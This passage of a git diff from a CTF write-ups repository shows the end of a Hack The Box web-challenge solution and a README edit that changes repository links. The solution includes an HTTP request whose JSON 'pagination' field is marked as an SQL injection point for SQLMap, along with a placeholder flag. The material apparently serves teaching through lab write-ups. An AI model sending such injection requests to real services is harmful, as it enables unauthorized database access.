+Referer: http://challengeIP:PORT/
+Connection: close
+
+{"submissionID":1,"pagination": "10*"}
+```
+
+We can use SQLMap to achieve the flag:
+
+Flag: `HTB{Th1s_1s_n0t_th3_r34l_fl4g}`
diff --git a/README.md b/README.md
index 160f074..613790b 100644
--- a/README.md
+++ b/README.md
@@ -5,8 +5,8 @@ Welcome to the official write-ups repository of Fire-Null Cybersecurity. Here, w
| Link | Description |
|---|---|
-| [CVE](https://github.com/Fire-Null/Write-Ups/tree/main/CVE) | CVE directory is dedicated to analysis and develop new exploits |
-|[CTF](https://github.com/Fire-Null/Write-Ups/tree/main/CTF)| CTF directory is dedicated to publish write-ups for CTF's we played|
+|[CVE](https://github.com/Q0120S/Write-Ups/tree/main/CVE)| CVE directory is dedicated to analysis and develop new exploits |
+|[CTF](https://github.com/Q0120S/Write-Ups/tree/main/CTF)| CTF directory is dedicated to publish write-ups for CTF's we played|
## Our Philosophy 🌟
We believe in sharing knowledge to empower and educate. Our write-ups serve as a resource for those looking to deepen their understanding of cybersecurity, the threats that exist today, and the methods we can use to protect ourselves tomorrow.